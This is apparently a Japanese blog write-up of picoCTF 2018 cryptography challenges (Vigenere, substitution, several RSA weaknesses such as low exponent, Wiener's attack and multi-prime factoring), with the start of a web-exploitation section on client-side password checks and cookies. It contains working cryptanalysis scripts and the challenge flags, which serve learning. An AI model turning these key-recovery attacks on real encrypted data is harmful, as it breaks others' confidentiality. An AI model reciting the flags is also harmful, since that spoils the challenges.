Ehk Atgksprk htpnjc ggnyej f cevzeaznzn ltc bknyg kcnevytotfwle xerusr. Nuypd gzehuw lnj rltnjxaznnigs Nhgwwey Qftcnogk Izdmxzn (Rjhiy Hlrxtwl) ifwlki ehk Atgksprk htpnjc utgcegplbrj tn nnd 1868 pojne "Zmp Arusahje Cousex" ny a imtljwpn'y rlggetnk. Ny 1917, Sinpnznqii Fxexnnat ipsiwtbki ehk Atgksprk htpnjc ay "nxpuxdihqp ol ycatxwaznzn". Zmts xjauzfeius hay szt jjdexapd. Imlrrjd Bggmamj ts qszwt yz hgap bxtvet f gaxnlnz tq tnj nivmpr gx paxqj ay 1854; mzwkapr, nj oijs'e pagwiym siy bzrq. Plsoxvi kseixjwy hwzkk yse inahkw lnj ufbrndhki ehk ypcnstqaj tn zmp 19tn hpnzzcy. Kapn hjqoxj ehox, ehuzrh, ytxe yptlrjo cxdatgsllexes itflj tncgxtotfwle gcegp ehk htpnjc it yse 16zm netyfre.
Hcyvyzgxfahoh dloip raqp uyjo ay f narhflgytot ftd hd ehk Xhiyx Lrsd mezbpet 1914 fyd 1940.
Zmp Volpnkwp cousex nd soralk jyoals tu gp a lnplj htpnjc il ne iy zdej ny cusuutheius hizm nivmpr jndky. Yse Ityfkiprgyp Szfeey tq Asjciif, qox jiasuwe, axpd g gcayx nivmpr jndk zt tmvqpmkse tnj Gimjyexj nivmpr jzcitl ehk Fxexnnat Htvoq Hax. Yse Ityfkiprghj's sjdsglps cjce lfc fxtx skhcez fyd zmp Utnzn xjrurfcle hcaippd zmpix rpsyfrey. Ysruzrhuze tnj hax, yse Ityfkiprgyp lkfoexxsiv ucisfcird cernpd auzn zmcek ppy vmcayjd, "Mgsnhkxeex Gwulk", "Nosuwezj Giiyzre" fyd, gx ehk blr ifxe zt l crtde, "Itxe Xjerogftoty".
Goqmexy Gexslm zwtej yz rkulix yse hwzkks nivmpr (iwpaznyg zmp Vkwyas–Atgksprk htpnjc it 1918), gft, tt xazypr cmlt nj oij, yse inahkw hay xeirq gursprggwe zt nreueatfwyynd. Vkwyas'x hoxp, socjgex, jgetyfarqj lki eo zmp otj-eisj aaj, f ehktceznnarqj utgcegplbrj nivmpr.
blaise's cipherはVigenere Cipherのことなので
Vigenere Solverを使います
The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets.
What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure.
Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}
The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century.
Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940.
The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution".
Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.
サイトの詳細情報からkeyはflagということも分かります(便利)．
picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_095baccc}
hertz 2 - Points: 200
This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc
2018shell1.picoctf.com 59771.
アプローチ：換字式暗号
Big ljayn pevht fvs djqrx voge big mwzu cvk. A ywt'b pgmagog biax ax xjyi wt gwxu revpmgq at Rayv. Ab'x wmqvxb wx af A xvmogc w revpmgq wmegwcu! Vnwu, fatg. Igeg'x big fmwk: rayvYBF{xjpxbabjbavt_yarigex_weg_bvv_gwxu_xayqabjymm}
換字式暗号っぽいのでquipqiupを使います(文量が少なく人力は難しそうなので)．
The quick bro?n fo? ?umps over the la?y dog. I can't believe this is such an easy problem in Pico. It's almost as if I solved a problem already! Okay, fine. Here's the flag: picoCTF{substitution_ciphers_are_too_easy_sicmitucll}
picoCTF{substitution_ciphers_are_too_easy_sicmitucll}
Safe RSA - Points: 250
Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..
N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e: 3 ciphertext (c): 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773
アプローチ：Low Public Exponent Attack
eがとても小さいのでLow Public Exponent Attackが使えそうです．
Low Public Exponent Attackはeが小さいとき，nのe乗根以下の平文mについては単純に暗号文cのe乗根を取れば求めることができるというものです．
https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Low_public_exponent_attack
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs def root_e(c, e, n): bound = gmpy.root(n, e)[0] m = gmpy.root(c, e)[0] return m, bound if __name__ == '__main__': n = 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e = 3 c = 2205316413931134031046440767620541984801091216351222789180582564557328762455422721368029531360076729972211412236072921577317264715424950823091382203435489460522094689149595951010342662368347987862878338851038892082799389023900415351164773 m, bound = root_e(c, e, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
caesar cipher 2 - Points: 250
Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_2_d9c42f8026f320079f3d4fcbaa410615 on the shell server.
PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]
アプローチ：ASCIIテーブル
messageを見るとASCIIテーブル上で32ずれてるっぽいことが分かります(PICOや[などから)
適当に変換スクリプトを書きます．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- message = 'PICO#4&[C!ESA2?#I0H%R3?JU34?A2%N4?S%C5R%]' ans = [chr(ord(x) + 32) for x in message] print(''.join(ans))
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
rsa-madlibs - Points: 250
We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc
2018shell1.picoctf.com 40440
アプローチ：RSA関連知識
ncするとRSAに関する計算問題がでるのでそれに答えていきます．
> nc 2018shell1.picoctf.com 40440 0x7069636f4354467b64305f755f6b6e30775f7468335f7740795f325f5253405f35643338336531307dL <type 'long'> Hello, Welcome to RSA Madlibs Keeping young children entertained, since, well, nev3r Tell us how to fill in the blanks, or if it's even possible to do so Everything, input and output, is decimal, not hex #### NEW MADLIB #### q : 93187 p : 94603 ##### WE'RE GONNA NEED THE FOLLOWING #### n IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### n: 8815769761 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### p : 81203 n : 6315400919 ##### WE'RE GONNA NEED THE FOLLOWING #### q IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### q: 77773 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### e : 3 n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913 ##### WE'RE GONNA NEED THE FOLLOWING #### q p IS THIS POSSIBLE and FEASIBLE? (Y/N):n YAHHH! That one was a great madlib!!! #### NEW MADLIB #### q : 78203 p : 79999 ##### WE'RE GONNA NEED THE FOLLOWING #### totient(n) IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### totient(n): 6256003596 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### plaintext : 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748 e : 3 n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 ##### WE'RE GONNA NEED THE FOLLOWING #### ciphertext IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### ciphertext: 26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 e : 3 n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359 ##### WE'RE GONNA NEED THE FOLLOWING #### plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N):n YAHHH! That one was a great madlib!!! #### NEW MADLIB #### q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e : 65537 ##### WE'RE GONNA NEED THE FOLLOWING #### d IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext : 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598 e : 65537 n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 ##### WE'RE GONNA NEED THE FOLLOWING #### plaintext IS THIS POSSIBLE and FEASIBLE? (Y/N):y #### TIME TO FILL IN THE MADLIB! ### plaintext: 240109877286251840533272915662757983981706320845661471802585807564915966910384301849411666983334013 YAHHH! That one was a great madlib!!! If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)
最終問題の答えをasciiに変換するとflagになります．
picoCTF{d0_u_kn0w_th3_w@y_2_RS@_5d383e10}
計算に使用したスクリプト
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs def solve1(): message = 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748 e = 3 n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 c = pow(message, e, n) print(c) def solve2(): q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e = 65537 l = gmpy.lcm(p-1, q-1) gcd, u, v = gmpy.gcdext(e, l) print(u) # m = pow(C, u, N) # print(m) # print(codecs.decode(('%x'%m),'hex_codec')) def solve3(): p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext = 5315135537182226856134532843338546481354659841681272223692273789930341302489189252395544040217036010025492161730920090820789264419456405499853943420863961834511620167348215712366219204972198527365477630427263725627920265227612760416678425823843187407675643742844283110052895704455415142735463486037912801307917634230788549540802477270278755052542590491708620341889689884020271200598596327430790861785538107067664504281508756159305916221674161062222221931717498244841323828452111473034440447694160917521358885718436832783214139059379459896493819067235346238816701274408935126796953373891399167497687512301978797146598 e = 65537 n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 q = n//p l = gmpy.lcm(p-1, q-1) gcd, u, v = gmpy.gcdext(e, l) while u < 0: u += l m = pow(ciphertext, u, n) print(m) print(codecs.decode(('%x'%m),'hex_codec')) if __name__ == '__main__': # solve1() # solve2() solve3()
Super Safe RSA - Points: 350
Dr. Xernon made the mistake of rolling his own crypto.. Can you find the bug and decrypt the message? Connect with nc
2018shell1.picoctf.com 1317
アプローチ：RSA is Power (SECCON BeginnersCTF 2018)
> nc 2018shell1.picoctf.com 1317 c: 1436146412347957534046107225780192646103940843567589941225217059483280549059276 n: 24116535407257621724503452906516818899123446034927680189195610304035939968688297 e: 65537
ncすると80桁(264bit)のnが降ってきます．
この程度の桁数ならラップトップでも十分素因数分解できます．
しかし，弱いアルゴリズムでは無理なのでmsieveを利用します．
> ./msieve -q -v 24116535407257621724503452906516818899123446034927680189195610304035939968688297 Msieve v. 1.53 (SVN Unversioned directory) Wed Oct 3 02:10:19 2018 random seeds: e7218537 e13b5f3e factoring 24116535407257621724503452906516818899123446034927680189195610304035939968688297 (80 digits) no P-1/P+1/ECM available, skipping commencing quadratic sieve (80-digit input) using multiplier of 1 using generic 32kb sieve core sieve interval: 12 blocks of size 32768 processing polynomials in batches of 17 using a sieve bound of 1224919 (47285 primes) using large prime bound of 122491900 (26 bits) using trial factoring cutoff of 27 bits polynomial 'A' values have 10 factors sieving in progress (press Ctrl-C to pause) 47465 relations (24001 full + 23464 combined from 261533 partial), need 47381 47465 relations (24001 full + 23464 combined from 261533 partial), need 47381 sieving complete, commencing postprocessing begin with 285534 relations reduce to 68099 relations in 2 passes attempting to read 68099 relations recovered 68099 relations recovered 57930 polynomials attempting to build 47465 cycles found 47465 cycles in 1 passes distribution of cycle lengths: length 1 : 24001 length 2 : 23464 largest cycle: 2 relations matrix is 47285 x 47465 (6.8 MB) with weight 1404341 (29.59/col) sparse part has weight 1404341 (29.59/col) filtering completed in 3 passes matrix is 33992 x 34056 (5.3 MB) with weight 1118501 (32.84/col) sparse part has weight 1118501 (32.84/col) saving the first 48 matrix rows for later matrix includes 64 packed rows matrix is 33944 x 34056 (3.4 MB) with weight 802210 (23.56/col) sparse part has weight 542953 (15.94/col) using block size 8192 and superblock size 786432 for processor cache size 8192 kB commencing Lanczos iteration memory use: 2.0 MB lanczos halted after 538 iterations (dim = 33944) recovered 17 nontrivial dependencies p39 factor: 160245102178232096945963624180811161801 p42 factor: 150497800428459168557826076453135585513697 elapsed time 00:03:51
4分弱待つと素数がふってくるので後はRSAを普通に解きます．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs if __name__ == '__main__': n = 24116535407257621724503452906516818899123446034927680189195610304035939968688297 p = 160245102178232096945963624180811161801 q = 150497800428459168557826076453135585513697 e = 65537 c = 1436146412347957534046107225780192646103940843567589941225217059483280549059276 l = gmpy.lcm(p-1, q-1) gcd, u, v = gmpy.gcdext(e, l) while u < 0: u += l m = pow(c, u, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
> python -i solve.py
198614235373674103789367498165241205414198384663776181046663386461644141181
b'picoCTF{us3_l@rg3r_pr1m3$_0622}'
picoCTF{us3_l@rg3r_pr1m3$_0622}
ncする度に異なるnとcが降ってくるのはfactordb.com対策かな？
Super Safe RSA 2 - Points: 425
Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc
2018shell1.picoctf.com 47295
アプローチ：Wiener's Attack
ncすると
> nc 2018shell1.picoctf.com 47295 c: 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228 n: 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421 e: 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429
eが異常に大きいですね．
なので，Wiener's Attackが使えそうです
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs def continued_fraction(n, d): cf = [] while d: q = n // d cf.append(q) n, d = d, n-d*q return cf def convergents_of_contfrac(cf): n0, n1 = cf[0], cf[0]*cf[1]+1 d0, d1 = 1, cf[1] yield (n0, d0) yield (n1, d1) for i in range(2, len(cf)): n2, d2 = cf[i]*n1+n0, cf[i]*d1+d0 yield (n2, d2) n0, n1 = n1, n2 d0, d1 = d1, d2 def wieners_attack(e, n): cf = continued_fraction(e, n) convergents = convergents_of_contfrac(cf) for k, d in convergents: if k == 0: continue phi, rem = divmod(e*d-1, k) if rem != 0: continue s = n - phi + 1 # check if x^2 - s*x + n = 0 has integer roots D = s*s - 4*n if D > 0 and gmpy.is_square(D): return d if __name__ == '__main__': c = 37387925706299887988807597969592874405122472546532517291961021119819638643790973393550249580818754115056358666265075068280815261293064369821682763503666377706877846212789410720267962304506069919346315978332435305621606682564438477006652686147369852730410105272380648042992677048294641209398724334954133432228 n = 63077957037934935341227572929995254565680644759169499703819153909121991447078953877325959798681729272157579012601957115687921888781191701045447326617846201271658433913534938685175471096481583702065017512681309055288440576349117830392430063665706786284344844848310544783930682661972693701222932483974528214421 e = 52648539419443656226261340416004248287185817919210992314244038298714955737166270290730538885632379768928875742990061433773975238998122697695759864096965137020101838409616922596845976724393784055062993422652586661787336121784336273071156953454684734345903504440803713999855530184777809305216997999524795846429 d = wieners_attack(e, n) m = pow(c, d, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
264003602020102370693041857442610586342633199683725005643958437442448465210344626586049655752028764806997162365
b'picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}'
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_6498999}
Super Safe RSA 3 - Points: 600
The more primes, the safer.. right.?.? Connect with nc
2018shell1.picoctf.com 55431.
アプローチ：Multi-Prime RSA
> nc 2018shell1.picoctf.com 55431 c: 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251 n: 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 e: 65537
問題文的にMulti-Prime RSAかなと思ったのでmsieveなら素因数分解してくれると信じて1012bitあるnを投げました．
./msieve -q -v 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 Msieve v. 1.53 (SVN Unversioned directory) Wed Oct 3 03:08:33 2018 random seeds: 25c78b0d 3f0ecafc factoring 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 (305 digits) no P-1/P+1/ECM available, skipping commencing quadratic sieve (87-digit input) using multiplier of 3 using generic 32kb sieve core sieve interval: 17 blocks of size 32768 processing polynomials in batches of 12 using a sieve bound of 1467283 (56000 primes) using large prime bound of 117382640 (26 bits) using double large prime bound of 335186832815840 (41-49 bits) using trial factoring cutoff of 49 bits polynomial 'A' values have 11 factors sieving in progress (press Ctrl-C to pause) 56286 relations (16033 full + 40253 combined from 584345 partial), need 56096 56286 relations (16033 full + 40253 combined from 584345 partial), need 56096 sieving complete, commencing postprocessing begin with 600378 relations reduce to 133352 relations in 10 passes attempting to read 133352 relations recovered 133352 relations recovered 112670 polynomials attempting to build 56286 cycles found 56286 cycles in 5 passes distribution of cycle lengths: length 1 : 16033 length 2 : 11206 length 3 : 10077 length 4 : 7173 length 5 : 4954 length 6 : 3051 length 7 : 1808 length 9+: 1984 largest cycle: 19 relations matrix is 56000 x 56286 (13.8 MB) with weight 3156085 (56.07/col) sparse part has weight 3156085 (56.07/col) filtering completed in 3 passes matrix is 51220 x 51284 (12.6 MB) with weight 2903380 (56.61/col) sparse part has weight 2903380 (56.61/col) saving the first 48 matrix rows for later matrix includes 64 packed rows matrix is 51172 x 51284 (8.1 MB) with weight 2242595 (43.73/col) sparse part has weight 1623572 (31.66/col) using block size 8192 and superblock size 786432 for processor cache size 8192 kB commencing Lanczos iteration memory use: 5.0 MB lanczos halted after 811 iterations (dim = 51170) recovered 24 nontrivial dependencies p10 factor: 2219154557 p10 factor: 2387104061 p10 factor: 2405378527 p10 factor: 2544479083 p10 factor: 2613094949 p10 factor: 2799315227 p10 factor: 2816791123 p10 factor: 2834061889 p10 factor: 2844201319 p10 factor: 2928527267 p10 factor: 3003211697 p10 factor: 3016457393 p10 factor: 3028023013 p10 factor: 3053973581 p10 factor: 3117707869 p10 factor: 3118037621 p10 factor: 3420176147 p10 factor: 3447509633 p10 factor: 3449299361 p10 factor: 3505616701 p10 factor: 3638264291 p10 factor: 3671514991 p10 factor: 3822896303 p10 factor: 3828803843 p10 factor: 3886043443 p10 factor: 3890108207 p10 factor: 3923927089 p10 factor: 4018202273 p10 factor: 4120111301 p10 factor: 4201294343 p10 factor: 4233470149 p10 factor: 4254827363 elapsed time 00:10:54
11分弱待つと32個の素数を得ることができました．
あとはtotient(n)の生成を一工夫してdを計算すればflagがとれます．
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import gmpy import codecs if __name__ == '__main__': c = 6284728909736068686781042350032022711275028823301781180330785203125231332728727968643369066551125332455388999940520293731837668350367036978931899952068079553932753341491822687740866919455649238888041005527092011535647973767941879913564011872584207282493959651272956346317956534890056471560618411661553251 n = 26606219913940715285262138754618657144964498215833195287346927028073507527996464734239147599522486863793828606589185260368769444221246637303375795986649067159170596496643882869101122474981854051266204331512028067564886961483552840750378468416144007427323218563804469553812414257877123709505898819065167251 e = 65537 multi_primes = [2219154557, 2387104061 ,2405378527 ,2544479083 ,2613094949 ,2799315227 ,2816791123 ,2834061889 ,2844201319 ,2928527267 ,3003211697 ,3016457393 ,3028023013 ,3053973581 ,3117707869 ,3118037621 ,3420176147 ,3447509633 ,3449299361 ,3505616701 ,3638264291 ,3671514991 ,3822896303 ,3828803843 ,3886043443 ,3890108207 ,3923927089 ,4018202273 ,4120111301 ,4201294343 ,4233470149 ,4254827363] phi = 1 for x in multi_primes: phi *= (x - 1) d = gmpy.invert(e, phi) m = pow(c, d, n) print(m) print(codecs.decode(('%x'%m),'hex_codec'))
> python solve.py
13016382529449106065908111207362094589157720258852086801305724803301206193158525
b'picoCTF{p_&_q_n0_r_$_t!!_5280799}'
picoCTF{p_&_q_n0_r_$_t!!_5280799}
まとめ
- Cryptographyは解いてて学びがありますね
- RSA関連の問題はそこそこ解けるようになったと思う
- 逆にAES関連の問題は1問も解けなかったので他の人のWrite-up読んで勉強したい
- まだ難しい問題は解けていないので暗号全般の勉強を続けていきたい
picoCTF 2018 Write-up [Web Exploitation]
まえがき
前回の続きです．
今回はWeb ExploitationのWrite-upを書こうと思います．
Web Exploitation
Inspect Me - Points: 125
Inpect this code! http://2018shell1.picoctf.com:35349
デベロッパーツールを使い，htmlとcssのソースコードを確認するとコメントとしてflagの断片があります．
html
picoCTF{ur_4_real_1nspe
css ct0r_g4dget_098df0d0}
picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}
Client Side is Still Bad - Points: 150
I forgot my password again, but this time there doesn't seem to be a reset, can you help me? Super Secure Log In
アプローチ：クライアントサイドのソースコードを確認
デベロッパーツールでスクリプトを確認すると以下のようなコードがあり，簡単にパスワードが判明します．
<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(split*7, split*8) == '}') { if (checkpass.substring(split*6, split*7) == 'd366') { if (checkpass.substring(split*5, split*6) == 'd_3b') { if (checkpass.substring(split*4, split*5) == 's_ba') { if (checkpass.substring(split*3, split*4) == 'nt_i') { if (checkpass.substring(split*2, split*3) == 'clie') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(0,split) == 'pico') { alert("You got the flag!") } } } } } } } } else { alert("Incorrect password"); } } </script>
picoCTF{client_is_bad_3bd366}
Logon - Points: 150
I made a website so now you can log on to! I don't seem to have the admin password. See if you can't get to the flag. My New Website
アプローチ：cookieの書き換え
とりあえずadminでログインしようとすると
I'm sorry the admin password is super secure. You're not getting in that way.
